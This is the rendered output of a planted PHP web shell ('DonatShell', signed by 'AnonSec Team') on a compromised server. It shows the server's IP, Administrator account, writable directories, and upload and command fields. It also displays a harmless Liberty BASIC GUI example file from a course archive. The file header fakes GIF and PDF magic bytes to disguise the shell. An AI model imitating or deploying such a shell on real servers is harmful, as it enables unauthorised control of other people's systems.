GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.119
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2007.04.18/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2007.04.18/button1.bas
nomainwin


gosub [setup.main.Window]
OPEN "Titlebar text" FOR Window AS #main
print #main, "font ms_sans_serif 10"
PRINT #main, "trapclose [quit]"
    print #main.checkbox2, "set"

    print #main.button2, "!setfocus"
    print #main.textbox1, WindowWidth

WAIT

[quit]
CONFIRM "Are you sure that you want to quit?"; quit$
IF quit$ = "no" THEN WAIT
CLOSE #main
END
'Form created with the help of Freeform 3 v03-27-03
'Generated on Apr 18, 2007 at 09:20:13


[setup.main.Window]

    '-----Begin code for #main

    WindowWidth = 550
    WindowHeight = 410
    DrawWidth = WindowWidth-8 ' Need to subtract L & R border widths
    DrawHeight = WindowHeight-34 ' Need to subtract Title & B heights
    UpperLeftX=int((DisplayWidth-WindowWidth)/2)
    UpperLeftY=int((DisplayHeight-WindowHeight)/2)

    '-----Begin GUI objects code
    y = 150
    xCenter = int((DrawWidth-50)/2) ' calc center x
    yCenter = int((DrawHeight-24)/2) ' calc center y
    button #main.button1,"&Boom",[button1Click],  UL, xCenter-60, yCenter,  50,  24
    'button #main.button3,"&Good",[button3Click],  UL, xCenter+60, yCenter,  50,  24
    button #main.button2,"E&xit",[button2Click],  UL, (DrawWidth-50)/2,    DrawHeight/2+100,  50,  24
    'button #main.button3,"&Good",[button3Click],  UL, 0, 0,  50,  24
    'button #main.button4,"Center",[button3Click], UL, 275-25, 205-26-24,      50,  24
    checkbox #main.checkbox1, "c1", [checkbox1Set], [checkbox1Reset],   5,   5,  39,  25
    checkbox #main.checkbox2, "c2", [checkbox2Set], [checkbox2Reset],   5,  25,  39,  25

    radiobutton #main.radiobutton1, "r1", [radiobutton1Set], [radiobutton1Reset], 210,   5,  36,  25
    radiobutton #main.radiobutton2, "r2", [radiobutton2Set], [radiobutton2Reset], 210,  25,  36,  25

    TextboxColor$ = "white"
    textbox #main.textbox1,  90, 107, 100,  25


    '-----End GUI objects code


return

[button1Click]
ooga$ = "checkbox1=";checkbox1;" checkbox2=";checkbox2;" radio=";radio
notice (ooga$)
    print #main.radiobutton1, "reset"
    print #main.radiobutton2, "reset"
wait
return

[button2Click]
CLOSE #main
END
return

[button3Click]
'notice("DisplayWidth=";DisplayWidth;" WindowWidth=";WindowWidth;" DisplayHeight=";DisplayHeight;" WindowHeight=";WindowHeight)
'notice "Morning"
    print #main.radiobutton1, "reset"
    print #main.radiobutton2, "set"
wait
return

[checkbox1Set]
v=1
checkbox1 = 1
gosub [checkboxCommonSet]
return

[checkbox2Set]
v=2
checkbox2 = 1
gosub [checkboxCommonSet]
return

[checkboxCommonSet]
'notice("You pressed checkbox # ";v)
wait
return

[checkbox1Reset]
v=1
checkbox1 = 0
gosub [checkboxCommonReset]
return

[checkbox2Reset]
v=2
checkbox2 = 0
gosub [checkboxCommonSet]
return

[checkboxCommonReset]
'notice("You pressed checkbox # ";v)
wait
return

[radiobutton1Set]
radio = 1
wait
return

[radiobutton2Set]
radio = 2
wait
return

[radiobutton1Reset]
wait
return

[radiobutton2Reset]
wait
return

Anon7 - 2022
AnonSec Team